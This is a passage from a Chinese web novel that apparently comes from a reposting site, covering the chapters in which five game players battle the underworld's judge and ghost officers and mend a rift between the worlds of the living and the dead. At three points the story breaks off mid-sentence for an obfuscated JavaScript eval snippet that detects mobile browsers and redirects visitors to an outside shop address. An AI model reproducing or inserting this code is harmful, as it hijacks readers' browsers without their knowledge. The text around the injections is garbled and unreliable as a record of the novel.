界碑已裂,碑前站着十二名金甲名将,为首的牛头巨鬼手持钢叉。而此刻,子时的月光穿透了阴间天幕,在界碑上空撕开一道裂缝,裂缝那端,隐约可见阳间的古槐树影。 “阴阳两界交融……”冬逢初刚开口,判官阴冷的声音已从后方追来: “活人窃玺,当受万鬼噬心之刑!” 初与序突然将冬逢初推向界碑裂缝,她手指间结印的速度快出残影,三张保命符贴在冬逢初身上,自己则转身直面潮水般涌来的阴兵。 “等等……初与序!”冬逢初想抓住她的手,却被符咒的力量强行拖向裂缝。 他认出来了,初与序最后结的是“断界阵”,以自身为媒介割裂阴阳。当判官的朱笔点在她眉心时,整个界碑区塌陷。冬逢初坠入阳间,最后看到的,是初与序被无数勾魂索缠住。而她回过头望向自己时,用口型说: “护好你自己。” 阴玺在穿越两界时爆发出刺目血光,那些玺身上的纹路像是活了过来。阳间的夜风呼啸着灌入耳膜,他重重摔在古墓之中。 76.阴阳渡 冬逢初趁撑着长剑站起身,阴玺的血纹还在隐隐发烫。古墓入口就在前方,焦黑的槐树枝丫如鬼爪般探向墓门,四周寂静得诡异。 他踏入墓道,脚下便踩到一滩未干的血迹。血迹蜿蜒向前,在月光下泛着诡异的青蓝色。 墓道深处传来微弱的挣扎声,冬逢初疾奔向前,阴玺在怀中剧烈震动,像是在抗拒着什么。转过一道残破的拱门,映入眼帘的竟然是他的队友。 随歌整个人被吊在半空,无数妖藤贯穿了他的肩膀和双腿,鲜血顺着藤蔓滴落,却在半空中被那些藤蔓吸食殆尽。他的竹扇落在不远处,泛着微弱的青光,死死抵住一株试图钻入他心口的妖藤。 “…AUV~又见面了…”随歌听到动静抬起头,嘴角扯出一个没事人般的笑容。 冬逢初没有犹豫,长剑出鞘,剑锋燃起阳火。 正要斩断藤蔓时,长剑突然自主震鸣,上面勿忘我的花纹亮起剧烈的冰蓝光芒。冬逢初虎口发麻,险些握不住剑柄。 冰凉的疼痛从耳骨夹传来,他心脏猛地一缩,长剑差点脱手。 他太熟悉这种感觉了,初与序的短刀正在阴间遭遇致命危机,这对双生兵器正在隔着阴阳界共鸣示警。 剑身越来越烫,冰蓝的剑脊上浮现出血丝般的纹路,与阴玺的纹路如出一辙。冬逢初的手在发抖,他看向奄奄一息的随歌,又看向疯狂嗡鸣的长剑。 随歌咳出一口血,他盯着冬逢初震颤不止的长剑,笑道:“操,哥们,你那长剑都快叫成警笛了。” 冬逢初脸色发白,长剑的嗡鸣声几乎刺穿他的耳膜,剑身上的勿忘我纹路不断闪烁着亮光,显示着初与序的短刀在阴间濒临断裂的征兆。 他胸口剧烈起伏着,向前迈了一步,举起长剑就要帮忙斩断藤蔓。 “等等等等一下!”随歌猛地挣动身体,妖藤撕扯出新的伤口,“景明垂和江意他们聪明着呢,马上就会找到我!倒是初与序……!”他剧烈咳嗽起来,却仍盯着冬逢初,“她他妈的一个人在阴曹地府…你算算哪边更急?!” 长剑发出一声尖啸,冬逢初被震得头疼,试图通过耳骨夹将自己的力量传递过去,却没有丝毫反应。 随歌气不打一处来,用尽力气吼道:“冬逢初!你他妈快回去!不去的话,老子做鬼都不认你这兄弟!” 冬逢初的瞳孔微缩,下一秒,他转身,长剑划出一道弧光,劈开拦路的藤蔓与石壁。 “你坚持住,活着见面!” 冬逢初的身影如箭射向墓外,阴玺残留的血纹在他身后拖出一道猩红的光轨,直指子夜天空中那道尚未闭合的阴阳裂痕。 地府。 铁链深深勒进初与序的手腕,冰冷的铁锈混着血沫黏在皮肤上。她被压在深渊边缘,半个身子已经悬空,脚下是无尽的黑暗,隐约能听见万鬼饥渴的嘶吼声从深渊底部传来,像无数把钝刀刮擦着耳膜。 “擅闯地府,窃取阴玺,罪无可赦。”判官站在她身后,声音从头顶传来,“今日便让你尝尝万鬼噬心的滋味。” 初与序试图挣扎,锁链哗啦作响,却纹丝不动。她侧过头咳血,活人的鲜血滴在判官袖摆上,血珠立刻燃起幽蓝的火焰。 “徒劳。”判官冷笑,袖袍一甩,火焰顷刻熄灭。 下一秒,他抬脚狠狠踹在她后背! 初与序整个人坠向深渊,锁链在坠落中寸寸崩断,呼啸的风灌进肺里。深渊之下,无数双猩红的眼睛骤然亮起,密密麻麻,如同地狱里突然点燃的千万盏血灯。 鬼影如潮水般涌来。 第一只厉鬼抓住她的脚踝,尖锐的指甲直接剜进骨缝;第二只咬住她肩膀,留下一圈深深的牙印;第三只的枯爪直直掏向她心口。 初与序的短刀早已脱手,此刻却突然在深渊上方发出一声清越的铮鸣! 短刀破空而来的刹那,初与序竟飞快张开眼睛,一个翻身,刀刃擦着她的脸颊飞过,将身后一只青面鬼的头颅钉穿在岩壁上。 她染血的手指凌空一抓,刀柄入手滚烫,有生命般在她掌心震动。 她一刀横斩,刀气如虹,将扑来的三只饿鬼头颅截断。黑血喷溅中,又有更多鬼爪从四面八方抓来。初与序将鲜血滴在刀身,短刀顿时爆发出刺目蓝光,刀气呈环形炸开,将周身三丈的鬼物尽数搅碎。 但这一击也耗尽了最后的气力,她单膝跪地,刀尖抵着地面,剧烈喘息。 黑无常站在深渊之上,看着下方深渊:“这活人…是拼着命去的。” “如果不是证据确凿,我不会相信她是活人。”白无常神色复杂:“她不把命当命啊。” 更多的鬼影从黑暗中涌现,它们踩着同类的残肢,眼中闪烁着贪婪的光。初与序露出的手臂上布满青黑的鬼手印,她的视线开始模糊,耳边嗡嗡作响。 万鬼发出震耳欲聋的尖啸,飞快涌来。就在第一只厉鬼的利爪即将触及她咽喉时,手中的短刀竟然自主飞起,保护主人,在她周身划出一道圆弧,竟暂时逼退了鬼潮。 她深吸一口气,颤抖的手指结出一个古老的法印。 这是以燃烧寿元为代价,强行撕裂空间的瞬移之术。 代价是,燃烧十年寿元,七日之内形同废人。 “天悬为引,九幽为路——” “瞬!” 空间扭曲了一瞬。 “——移!” 深渊中爆发出刺目的血光,初与序的身影在万鬼扑来的前一秒,竟凭空消失。 判官正欲离去,身后突然传来空间碎裂的爆响,他猛地回头,只见一道血淋淋的身影从虚空中跌出,重重摔在崖边。 初与序浑身是血,气息微弱得几乎察觉不到。她的手依旧死死握着短刀,却没有力气抬起。视线模糊中,她看到判官阴冷但带着一丝错愕的面容正在逼近。 “居然还能……” 判官的身影戛然而止。 一道冰蓝的剑光如流星般划破阴间的天空,狠狠劈在判官和初与序中之间。剑气激起的烟尘中,一个熟悉的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16146251|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身影狂奔而来。 冬逢初的长剑还在嗡鸣,几乎半个人都染上鲜血,眼中却燃烧着阴冷的怒火。在初与序意识坠入黑暗的最后一刻,她感受到自己被一双有力的手臂稳稳接住。 “我们会离开这里。”他垂眸看向初与序,声音很轻。 初与序还想说什么,却只咳出一口鲜血,最终陷入无尽的黑暗。 冬逢初的长剑在阴风中嗡鸣,剑身纹路上流动着银蓝光芒,和初与序短刀上的流速一样。他单臂抱着昏迷的初与序,另一只手持剑指向判官,剑尖滴落的血珠在青砖上。 “麻烦让开,多谢。”他的声音冷冰冰的。 黑白无常的锁链和哭丧棒已经横在路前,黑无常重重一甩勾魂锁,锁链在地上盘绕成阵。判官站在后方,朱笔悬空,墨汁凝聚成锋利的尖刺。 “活人强闯阴司,还想带走重犯?”判官的朱笔猛地一划,墨刺如暴雨般射来,“痴心妄想!” 冬逢初剑势一挥,剑气化作火墙,朱笔的墨滴的寒气在火中,蒸发出烟雾。他借势前冲,长剑直取白无常咽喉! 哭丧棒与剑刃相撞,爆出刺目的火花。白无常被震推三步,纸幡上的“见吾生畏”四字竟被剑气削取一半,黑无常的锁链趁机缠上冬逢初的脚踝,却被他怀中突然亮起的阴玺震开。 阴玺被初与序抱在怀里,此刻正泛着幽光。那些血丝般的纹路流动着,竟与初与序身上鲜血流下的路线一样。 判官吃了一惊:“你竟然让阴玺认主了?” 冬逢初不给对方思考的时间,剑招陡然变得凌厉。每一剑都带着阳间的血气,逼得黑白无常节节败退。 判官朱笔在身前划出血色屏障,剑尖刺入屏障三寸,再难前进。 “既然她能从万鬼深渊活着出来,”冬逢初幽幽道,“你觉得你们拦得住我们?” 判官盯着冬逢初剑上越来越盛的蓝光,又看向他怀中昏迷的初与序。这个姑娘刚经历了万鬼噬心,此刻身上竟还有微弱的灵力在自行修复伤口。 最终,判官的朱笔缓缓垂下。 “滚吧。”他阴沉着脸让开道路,“阴玺既已认主,地府不留活人。但若下次还私闯地府,必拿下你们!” 黑白无常还想阻拦,被判官制止。冬逢初长剑收鞘,狂奔向阴阳交界处。阴间的风在身后呜咽,仿佛万千鬼魂不甘的嘶吼。 就在他即将踏入阳间的前一刻,一道白影拦在面前。冬逢初抬眼一看,是许白。 他依旧扎着低马尾,锁链松松垮垮地缠在臂间,另一只手却托着个青玉小瓶。瓶身刻满阴司符文,透出萤绿色的光。 “拿着。”许白将瓶子抛来,“这是‘九幽续魂丹’,能吊住她一口气,减轻反噬。” 冬逢初接住药瓶,深深看了许白一眼:“多谢。” 裂隙开始剧烈震动,边缘处开始崩塌。 许白侧过身子:“走!再耽搁,判官该反悔了!” 冬逢初借力跃入裂缝,身形渐渐被阳间月光吞没。 77.阴阳渡 景明垂的铜钱在她掌心剧烈抖动,三枚血红的“凶”字浮现在钱面上。她紧紧攥着铜钱,手指被锋利的边缘硌得生疼。 “随歌还活着。”她哑声道,“在墓室最深处。” 江意抹了把脸上的血,将眼镜戴好:“走。” 重返古墓的路比出去时更加艰难,原本被破坏的机关竟全部复位,甬道两侧的尸茧再次鼓胀,里面传出指甲刮擦茧壁的刺耳声响。 景明垂控制着琴弦在前方开路,每一根弦都特意淬了剧毒,凡是被割伤的尸茧立刻渗出腐水。江意殿后,手环释放的重力场让身后追击的尸群动作迟缓。 “左边第三块砖。”景明垂突然停步,铜钱拼凑出卦象,“是生门。” 她抬起一脚踹碎砖石,露出后面狭窄的密道。两人弯腰钻入,密道尽头传来熟悉的咒骂声: “......你他妈的......有本事......咱俩来单挑......” 还能骂人,没有昏过去。两人对视一眼,不约而同松了口气,立刻加快速度往主墓室冲去。 映入眼帘的一幕让他们愣住:随歌被数十根妖藤贯穿,悬吊在墓室中央,鲜血顺着藤蔓滴落,在下方汇成一滩血洼。他的脸色惨白如纸,嘴唇因失血而泛青。竹扇在他周身旋转,吃力地斩断任何试图刺入随歌心口的藤蔓。 见到二人,随歌扯出一个虚弱的笑:“兄弟姐妹……太义气了,回去……给、给你们一人一整箱草莓牛奶……” ?都什么时候了还草莓牛奶?! “意哥,”景明垂低声道,琴弦已如毒蛇般射出,“我牵扯,你救人。” 江意的手环爆发出刺眼的红光,他二话不说,重力场全开,如离弦之箭冲向随歌。 妖藤仿佛感知到危险,突然疯狂蠕动起来! 景明垂的琴弦在空中交织成网,淬了剧毒的陷丝割断袭向江意的藤蔓。黑血喷溅,断藤在地上扭曲。但更多的妖藤从墓室四壁窜出,每一根都张满了倒刺,尖端泛着诡异的青光。 江意已经跃至随歌下方,他单手结印,手环超负荷运转,将缠在随歌颈间的主藤强行压制。 “喂,意哥你不能乱用技能啊!”随歌急得大喊,“这么用你的身体撑不住!” “忍着点!”江意没搭理他的话,趁他分神,一把抓出贯穿随歌肩膀的妖藤,猛地拔出! “呃啊——!痛痛痛!!!”随歌惨叫一声,鲜血从伤口喷涌而出。竹扇立刻飞起触碰他的伤口,治疗技能自动开启,暂时封住了血管,不让伤口流血。 妖藤彻底暴走,整个墓室剧烈震动,碎石从顶部簌簌落下。那些被斩断的藤蔓竟开始再生,断口处深处更多细小的触须,扑向三人。 景明垂忍不住蹙眉,将鲜血滴在琴弦上。弦丝顿时泛起血光,所过之处藤蔓尽数枯萎。但她的脸色也因为消耗本命精血,迅速白了下去。 “我说两位少爷小姐,”随歌疼得直抽气,龇牙咧嘴道,“你们……真没必要为了救我……伤到你们自己。本帅哥贱命一条……死在这里也行,至少死相帅……” “闭嘴!”江意一巴掌扇在随歌脸上,不重,但给随歌扇得清醒几分。 他已经拔出随歌腿上两根妖藤,自己的手臂却被藤蔓划出深可见骨的伤口,但手环的重力场仍死死压制着主藤。 最后一根贯穿副本的妖藤被拔出时,随歌已经意识模糊,嘴里还嘀咕着什么草莓牛奶。江意背起他,鲜血瞬间浸透了两人的衣裳。 正当他打算冲出古墓时,余光瞥见角落处有一块龟甲,上面刻着与阴玺一样的纹路。 他猛地刹住脚步,捡起龟甲揣进怀里。 “走!”景明垂捡起落在地上的竹扇,控制琴弦在前开路,妖藤在琴弦的攻击下退缩。 当他们跌跌撞撞冲出墓门时,寅时的月光正照在那棵焦黑的古槐上。树下,冬逢初抱着昏迷的初与序,手中的阴玺与景明垂怀里的阳玺痛死泛起微光。 月光清冷,冬逢初跪在树下,迅速拔开“九幽续魂丹”的瓶塞,丹药化作一缕青烟钻入初与序唇间,她惨白的脸上终于浮现出一丝血色。 身后传来急促的脚步声,他回头一看,见另外三人平安回来,悬着的心这才放在。 怀中的初与序咳嗽几声,有鲜血从唇边溢出。冬逢初下意识抱紧她,长剑插在地上,剑身映出众人伤痕累累的倒影。 江意小心翼翼地把随歌平放在地上,他身上的伤口仍在渗出青黑色的鲜血。江意跪坐在旁边,接过景明垂递来的竹扇,按照随歌平日里使用竹扇的手法,展开扇面,低声念道:“风回雨润,万物复生——” 竹扇泛起柔和的青光,扇面上的竹画活了过来,化作流动的溪流与青烟。江意把扇面悬在随歌心口上方三寸处,青光如雨丝般垂落,渗入那些狰狞的伤口。 “咳…”随歌剧烈咳嗽起来,一口血喷出。那些扎进皮肉里的妖藤残须被青光逼出,化为灰烬。 景明垂取出三枚铜钱,铜钱叮当落地,排成“生”字:“没大事了,死不了。” 竹扇的治疗还在继续,青光顺着随歌的经脉游走,所过之处,伤口缓慢愈合,血渐渐止住。 “竹扇大人你太好了……”随歌突然睁开眼,声音虚弱却带着惯用的搞笑,“就是……他妈的……疼……” 竹扇的光芒渐渐微弱,江意扫了他一眼,冷冰冰道:“嫌疼就少逞英雄。” 身边,冬逢初怀中的初与序也微微动了动手指。 【恭喜各位玩家集齐「阴阳镇魂玺」】 【阴玺状态:已认主(初与序/冬逢初)】 【阳玺状态:已净化(随歌/景明垂/江意)】 【最终任务激化:天亮后以双玺修补阴阳裂痕】 【提示:离第三日日出还剩02:27:46】 【祝各位成功完成任务】 夜色未褪,残月悬在古槐枝头,洒下冷清的光。景明垂伸手想去抚初与序,指尖却穿过了她的衣袖,像触到一片雾气。 她皱眉,又伸手试了一次,手掌依然毫无阻碍地穿过初与序的肩膀。 冬逢初低头看着怀中的初与序,她脸色惨白,呼吸微弱但平稳。他脱下染血的大衣外套,轻轻盖住她身上。布料没有掉落,而是如常覆在她肩头。 “看来我们暂时还留在阴阳夹缝里,是活死人。”冬逢初低声道,小心地让初与序靠在自己肩上,“阴玺的影响还没完全消散。” 初与序昏沉中无意识地往他颈窝蹭了蹭,额头抵着他的锁骨。冬逢初僵了僵,没动。 江意站起身,踢了踢脚边的碎石:“我去村里转转。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16146252|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在阴玺和阳玺汇合,或许能找到些线索。” 景明垂点点头,盘腿坐下,琴弦重新缠回碗间。随歌瘫在她旁边,竹扇摊开盖在脸上,只露出个笑:“赶紧睡会儿,天亮还得想办法修补阴阳裂痕。” 夜风穿过枝丫,带着腐土和铁锈味。远处偶尔传来几声乌鸦啼叫,更显得这夜寂静诡谲。 冬逢初的目光扫过众人,阳间的三人笼罩在淡淡月光下,而他和初与序的身影却蒙着一层阴间的青灰色雾气。他收紧了搂着初与序的手臂,在心里叹了口气。 天光刺破云层时,江意踏着晨露归来,手中捧着一卷从荒村独屋翻出来的残破竹简。众人陆续醒来,初与序虽仍虚弱,但眼中已经恢复清明,与景明垂并肩而坐。 “《阴阳辑要》有载,”江意展开竹简,指向一段朱砂批注,“镇魂玺本为两仪之器,阴玺主死,阳玺主生。” “所以要把两半玺合在一起?”随歌挠挠头,竹扇在掌心转了个圈,“听着挺简单。” “并不。”江意摇头,眼底闪过一丝凝重,他指向竹简末尾的形象图:“需要在阴阳交界处,借子午相交的天时。今日正午,日晷无影,是阴阳界限最模糊的时刻。” “位置呢?”景明垂问。 江意拿出之前从古墓带出来的那块龟甲:“阳间荒村独屋下。” 初与序突然醒来,捂嘴咳嗽起来,指缝间渗出点点血星。另外四人立刻看过来,她抬手示意无碍:“判官不会让我们顺利施术,会有阴司追兵。” “所以需要分三路。”江意推了推眼镜,“景明垂和随歌守独屋外围;冬逢初引开阴差;我和初与序负责合玺。” 正午将至,荒村独屋内弥漫着一股腐朽与尘土的气息。 江意单膝跪在青砖地上,手指沿着龟甲纹路缓缓描摹。每划过一道凹痕,他指尖就渗出一点血珠,血珠诡异地自行流动,逐渐在地面勾勒出一幅古老的阵图。 这是一幅“阴阳镇界阵”,源自上古时期某位无名修士的手札。传说在远古时代,阴阳两界原本相通,后来因某种变故导致界限出现,这位大能便创下此阵,以特殊法器为引,在特定时刻可以短暂修复两界裂痕。 地面上,江意的血珠逐渐连接成复杂的星斗图案。阵图中央,阴阳双鱼相互咬合,纹路竟与阴玺底部的刻痕分毫不差。随着最后一笔完成,阵眼处突然浮现七盏虚幻的青铜灯影,正是阎罗殿后殿那七盏勾连七情六欲的幽冥灯。 此刻,这沉睡千年的古阵正在苏醒。 初与序靠坐在柱子旁,阴玺在她掌心泛着幽光。她虚弱地抬眼望去,只见东北角的灯影正在逐渐发亮,那是天枢位待正午的阳光穿透独屋坡顶,直射此位时,便是阴阳界限最薄弱的一刻,也是启动阵法的最佳时机。 然而,这阵法并非没有代价。 阴玺已然认主,阳玺渴饮鲜血。当双玺相合时,持玺者将承受阴阳二气相冲的恐怖反噬。轻则经脉尽断,重则魂飞魄散。 江意和初与序二人不是不知道此代价。相反,他们比谁都清楚,只是不愿意就此放弃。 “还有十五分钟。”江意抬头看了看从独屋破洞漏下的阳光,光线笔直垂落,在地面形成一个刺眼的光斑,“日晷无影,阴阳交汇。” 初与序和他对视一眼,一句话都没说。 78.阴阳渡(完) 独屋外。 原本稀薄的雾气突然翻涌,阴风呼啸而至,地面凝结出一层薄薄的冰霜。景明垂的琴弦早已布下天罗地网,三枚铜钱悬浮在阵法三个方位。随歌靠在断墙边,竹扇轻摇,随时准备出手。 “来了。”初与序低声道。 话音刚落,一道惨白的纸幡破空而来,纸幡上“勾魂摄魄”四字如血般刺目。白无常的身影从雾中浮现,高帽遮面,只露出半张惨白的脸,哭丧棒凌空一点。 一道阴雷直劈而下! 随歌竹扇横档,扇面青光暴涨,硬接这一击。“轰”的一声,他脚下地面寸寸龟裂,嘴角溢出一丝血迹,面上却仍带笑。 黑无常的多练紧随其后,缠向景明垂的脖颈。她右手一抬,琴弦飞射而出,银光闪烁间与锁链相撞,火花四溅。 “活人擅动阴阳,罪加一等!”黑无常的声音里带着些许震惊,似是没料到这几人还坚持着。锁链一抖,竟分化出数十道虚影,从四面八方绞杀而来。 景明垂身形急退,三枚铜钱脱手飞出,在空中排成三角阵势。“叮叮叮”三声脆响,铜钱精准击中锁链真身,其余虚影顿时消散。 白无常的哭丧棒再起,这次却直直指向独屋大门。棒头纸幡无风自动,无数惨白的纸人从中飞出,尖笑着扑向独屋。 随歌合拢竹扇,竹扇散发出青光。他向前迈出一步,扇如刀出,青光化作匹练横扫,纸人在空中接连炸裂,化作满天灰烬。 但阴差不止黑白无常。 雾气中,数十名鬼差列阵而出。钢叉、锁魂钩的寒光直刺人眼睛。为首的牛头鬼差一声怒吼,地面震动,裂缝中伸处无数鬼手,抓向众人脚踝。 景明垂琴弦再动,七根琴弦将袭来的鬼手斩断。随歌则冲入鬼差阵中,竹扇开合,风刃如雨,所过之处鬼差哀嚎退散。 然而阴差数量太多,黑白无常更是招招致命。白无常的哭丧棒忽软忽硬,时而如鞭抽打,时而如枪直刺;黑无常的锁链神出鬼没,稍有不慎就会被缠住四肢。 冬逢初的长剑在阴风中划出一道弧光,将三名扑来的鬼差逼退。他余光扫过独屋方向,景明垂的琴弦织成网,随歌的竹扇掀起狂风,两人死死守住大门。 就在这时,一道白影无声无息地贴近他背后。 “西北角,枯井。”许白的声音很低,但足够清晰地听见,“那里是阴气节点,闹出动静,判官必调重兵。” 冬逢初会意,剑势陡然一偏,故意卖了个破绽。一名鬼差的钢叉擦着他肩膀划过,带出一道血痕。他闷哼一声,装作不支后退,引着大批鬼差向西北方向移动。 许白的身影游走在战场边缘,他看似在追击冬逢初,实则每次锁链甩出,都精准地绊住几个真正想下杀手的阴差。有鬼差想绕路包抄,许白便“不小心”就勾魂索甩到对方脚下,害其速度慢下来。 “许大人!”一名鬼差焦急地喊道,“那活人往禁地方向跑了!” 许白加快脚步:“都跟上!勿让他惊扰了井底阴脉。” 冬逢初纵身跃上枯井边缘,长剑的剑气将井沿劈得粉碎。碎石坠入深不见底的井中,许久才传来回响。果然,整个地府的阴气都为之一颤。 “大胆!” 判官的声音如雷霆炸响,原本围攻独屋的阴差顿时分出一半,向枯井涌来。 许白“恰好”挡在追击路线中央,给冬逢初留出脱身空隙。冬逢初暴起发难,长剑直刺冲在最前的鬼差咽喉,逼得对方仓皇后退。他趁机一个翻身,腾空而起,几个起落便消失中错综复杂的巷道中。 身后,许白装模作样道:“快分头去追。” 独屋外的压力顿时大减。景明垂用琴弦绞住一名鬼差的锁魂钩,抬头望天。 日影渐正,午时已至。 独屋内,七盏虚幻的青铜灯影已燃至最盛,天枢位的灯芯亮着金光。初与序半跪在阵眼,双手因体力不够,微微发着抖,将阴玺按入凹槽。 阴玺归位,整座独屋的地砖同时裂开,缝隙中渗出浓郁的阴气。阴玺发出幽光,那些纹路疯狂蔓延,顺着阵图流向四面八方。江意手中的阳玺突然变得滚烫,玺身青黑的部分开始泛起血色。他顾不得擦拭镜片上凝结的血珠,握着阳玺的手向前探去。 “尔敢!” 独屋大门炸裂,木屑纷飞。 判官的身影踏着阴风而入,朱笔直指二人。他周身缠绕着阴气,每走一步,地面便结出一层冰霜。 “尔等蝼蚁,也敢妄动阴阳?!” 声音未落,朱笔已凌空划出一道血符。符文化作实体,重重斩向江意持玺的手腕! 初与序强撑起身,短刀脱手飞出。“铛”的一声脆响,与血符相撞,气浪将四周的尘土尽数掀起。她本就苍白的脸色更添一分死灰,唇角溢出血丝。 江意趁机急退两步,阳玺离针眼仅剩三寸之遥。但判官怎会给他机会?他冷笑一声,朱笔凌空一划,猛地展开《生死簿》: “既然找死,本官便成全你们,勾了你们的命数!” 泛黄的纸页无风自动,飞速翻至某页后突然停滞。在看清上面的字时,判官的动作僵住了。 《生死簿》上,江意的命格清晰浮现: 【江意】 「阳册戊字号」 「乾造乙酉年六月初七戊时生(2005年7月12日)」 「卒于甲辰年季夏(2024年夏)」 【批曰:】 「痼疾缠身,药石罔效。十九而殁,痛哉」 判官猛地抬头,江意原本应该死在去年夏天,十九岁。可眼前的人不仅活着,还分明是二十四五岁的模样!他面上第一次露出惊疑之色,朱笔急转,又翻到初与序的那一页: 【初与序】 「阴册癸字号」 「坤造丁亥年九月十六日卯时生(2007年10月29日)」 「卒于乙巳年仲夏(2025年夏)」 【批曰:】 「芳龄自绝,红颜早凋。二八殒命,哀哉」 而现在,已经是2025年七月。 初与序半跪在阵前,唇边血迹未干,却抬起眼与判官对视。那眼神疲惫但清明,哪有死去亡魂的样子? 本该死去的两人,却活生生站在他面前。 “不可能……”判官的声音出现了动摇,“生死簿从无错漏,你们到底是谁?!” 江意忽然笑了,他推了推眼镜,阳玺在掌心泛着血光:“生死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16150140|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 簿没有错,我们本早就该死了。” 他抬起手,猛地将阳玺狠狠按入阵眼! “轰——!!!” 双玺相触的瞬间,整座独屋轰然一震!刺目的光芒席卷而来,阴玺与阳玺的纹路彼此咬合,断裂处血丝蔓延,竟自行修复。阵图上的七盏青铜灯影同时大亮,七色火焰冲天而起,在独屋顶破交织成一道巨大的阴阳鱼图。 判官踉跄后退,手中《生死簿》“啪”地合拢,封皮上浮现出细密的裂纹。他不可置信地看着眼前这一幕:阴阳二气如两条蛟龙,自双玺中盘旋而出,所过之处,破碎的虚空开始弥合。 初与序跪坐在阵眼旁,看着那道逐渐愈合的裂隙。她能感觉到那些游荡在阳间的孤魂野鬼正被无形的力量牵引,哀嚎着退回阴司;而逃窜至阴间的活人魂魄,也被轻柔地推回阳世。 独屋外,原本厮杀的黑白无常突然停手,望向天空:“两界复位了?” 冬逢初的长剑还架在一名鬼差脖子上,却见对方化作青烟消散。这些本该待在阴间的亡魂,如今被规则之力强行召回。 许白站在不远处,望过来,嘴角微扬,用口型对他说:“有缘再见。” 天地间响起一声悠长的嗡鸣,如同恒古的钟声。 阴阳裂隙,终得修补,归位的余韵在天地间久久不散。 独屋内,初与序艰难地支起身子,阴玺与阳玺已化作点点星辉消散于空中。门外,阳光穿透云层,洒在荒村之上,那些游荡多日的阴气正快速褪去。 独屋外,景明垂的琴弦终于松弛下来,三枚铜钱叮当落地,排成“吉”字。随歌瘫坐在地上,竹扇自动收回面板休息。 初与序低头看向双手,发现自己不再透明。肌肤恢复了血色,指尖能清楚地感受到地面青砖的粗糙。 远处,冬逢初提着长剑走来,而他的身形也彻底凝实,变回了活人应有的生气。 两人四目相对,无需言语,只是轻轻点头。 判官早已不见踪影,黑白无常退回地府。初与序望向江意,犹豫道:“所以,如果我们没有进入永冬之城,就会死在现实?” 江意将手按在自己手腕脉搏处,能感受到温热的、有力的跳动。 “不清楚。”他淡淡道,“我想,我们是‘命数之外’的人。” 随歌笑起来,笑声惊起一群飞鸟:“那我们岂不是赚大了?等我回永冬之城可以和向枝冥吹牛,说我在阎王手下逃过一劫!” 荒村外,一辆列车静静等候在铁轨上,J23正对着镜子整理卷发。 “走。”景明垂率先迈步,“该回去了。” 【恭喜各位玩家通过副本《阴阳渡》。】 【阳间复常:自阴阳裂隙弥合后,阳间再无孤魂作祟之事。唯有独屋遗址那块刻有双鱼交错的纹的青砖,在雨后偶尔泛出微光。】 【阴间归途:游荡人间的亡魂尽数寻得归处,忘川舟楫往来如梭。孟婆汤锅前再无滞留之鬼,连总爱逃汤的小鬼都乖乖排队。】 【本次副本奖励已发放到各位玩家面板,可打开查看。】 【而此后的路,无人知晓是否有既定轨迹,是福是祸,且看你们自己了。】 【此局虽终,因果未了。】 79.交易令牌受袭事件 列车发出悠长的汽笛声,车轮与铁轨碰撞发出咔嗒声。五人走上列车,和J23寒暄几句,纷纷坐到各自座位上。 初与序靠窗坐着,点开面板,空气中浮现出淡蓝色的光幕。【玩家奖励】下面的字迹刷新出来: 【副本奖励结算:四十四积分。获得「阴司路引」道具(可自由往返阴阳界,冷却时间24h)】 初与序微微皱眉,从面板中取出「阴司路引」。那是一个黑玉令牌,正面刻“阴阳无阻”,反面刻“诛邪退散”。 虽然自己要这道具不知道能干点什么,但还是先收着算了。 列车在永冬之城的车站缓缓停下,车门滑开时,刺骨的寒风卷着细碎的雪粒灌了进来。初与序第一个踏出车厢,眼睛被冷风刮得隐隐作痛。 站台上空空荡荡,只有零星几个玩家拖着疲惫的身体往出口走。 “先去医院检查。”江意声音有些哑,的脸色比平时更苍白。 医院的医生检查了五人的伤势,确认没有感染或符咒反噬残留后,冷冰冰丢下一句“可以走了”。 离开医院后,五人沿着永冬之城的主干道往D区走。雪地里的脚印稀疏,三天前还熙熙攘攘的B区附近,现在几乎看不到人。有些店铺门半开着,里面黑漆漆的;有些直接关紧了大门,像是主人再也不会回来。 “死了不少。”景明垂开口,“还有些在副本里没出来。” 江意打开面板,给四人共享了一段加密数据:系统内部通告显示,B区超过四分之一的玩家在此次“清洗”中失踪,而D区也损失了近十人。 要知道,D区住户总共不到五十人,而且个个都是高层玩家。“近十人”的死亡人数众多。 永冬之城上空突然响起系统严肃的声音:【警告:各位幸存者,本次“特别筛选”期间,禁止任何形式的悼念活动。】 五人回到D区时,远远就看见回北等人好端端站在D栋楼下,正围着一盘棋争论。向枝冥最先注意到他们,手中抛着铜钱:“哟,好久不见,活着回来了?” 